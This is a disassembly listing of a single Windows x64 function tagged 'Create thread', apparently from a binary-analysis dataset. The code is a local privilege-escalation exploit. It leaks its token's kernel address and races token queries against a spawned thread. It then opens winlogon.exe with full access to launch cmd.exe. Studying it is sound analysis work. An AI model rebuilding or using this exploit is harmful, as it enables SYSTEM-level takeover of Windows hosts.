Function at 0x140011299
Capabilities:
Create thread

Disassembly:
jmp 0x140011fa0
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
lea rcx, [0x140024016]
call fcn.1400113bb
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 8], rax
lea rdx, str.NtQueryInformationToken
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001e170], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [0x14001e178]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [0x14001e178]
call fcn.14001120d
mov qword [0x14001e198], rax
mov r8, qword [0x14001e198]
mov rdx, qword [0x14001e178]
lea rcx, str.hToken:__x__kTokenAddr:__p_n
call fcn.14001119a
call qword [sym.imp.ucrtbased.dll_getchar]
mov eax, dword [section..data]
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x14001e180], rax
cmp qword [0x14001e180], 0
jne 0x140012069
mov eax, 0xffffffff
jmp 0x140012270
lea rax, [0x14001e188]
mov qword [rsp + 0x20], rax
mov r9d, dword [section..data]
mov r8, qword [0x14001e180]
mov edx, 0x16
mov rcx, qword [0x14001e178]
call qword [0x14001e170]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x1400120f0
mov rax, qword [0x14001e180]
mov rax, qword [rax + 0x50]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0
je 0x1400120f0
mov rax, qword [rbp + 0x48]
mov rax, qword [rax + 8]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
je 0x1400120f0
mov rax, qword [rbp + 0x68]
add rax, 0x20
sub rax, qword [0x14001e180]
mov dword [0x14001e18c], eax
mov edx, dword [0x14001e18c]
lea rcx, str.Found_target_offset_value:_0x_x_n
call fcn.14001119a
cmp dword [0x14001e18c], 0
jne 0x140012103
mov eax, 0xffffffff
jmp 0x140012270
mov eax, dword [0x14001e18c]
mov rcx, qword [0x14001e180]
add rcx, rax
mov rax, rcx
mov qword [0x14001e190], rax
mov rdx, qword [0x14001e190]
lea rcx, str.Target_address__0x_llx_n
call fcn.14001119a
mov qword [rbp + 0x88], 0xffffffffffffffff
lea rcx, str.winlogon.exe
call fcn.140011285
mov dword [rbp + 0xa4], eax
xor eax, eax
cmp eax, 1
je 0x140012228
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011280]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xc8], rax
mov edx, 0xf
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [rbp + 0xe4], 0
jmp 0x1400121b0
mov eax, dword [rbp + 0xe4]
inc eax
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0x1388
jge 0x1400121ea
lea rax, [0x14001e188]
mov qword [rsp + 0x20], rax
mov r9d, dword [section..data]
mov r8, qword [0x14001e180]
mov edx, 0x16
mov rcx, qword [0x14001e178]
call qword [0x14001e170]
jmp 0x1400121a2
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8d, dword [rbp + 0xa4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140012223
jmp 0x140012228
jmp 0x14001214d
mov rdx, qword [rbp + 0x88]
lea rcx, str.Got_Winlogon_handle:_0x_x_n
call fcn.14001119a
call qword [sym.imp.ucrtbased.dll_getchar]
lea rdx, str.C:Windows_system32cmd.exe
mov rcx, qword [rbp + 0x88]
call fcn.140011208
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14001e178]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret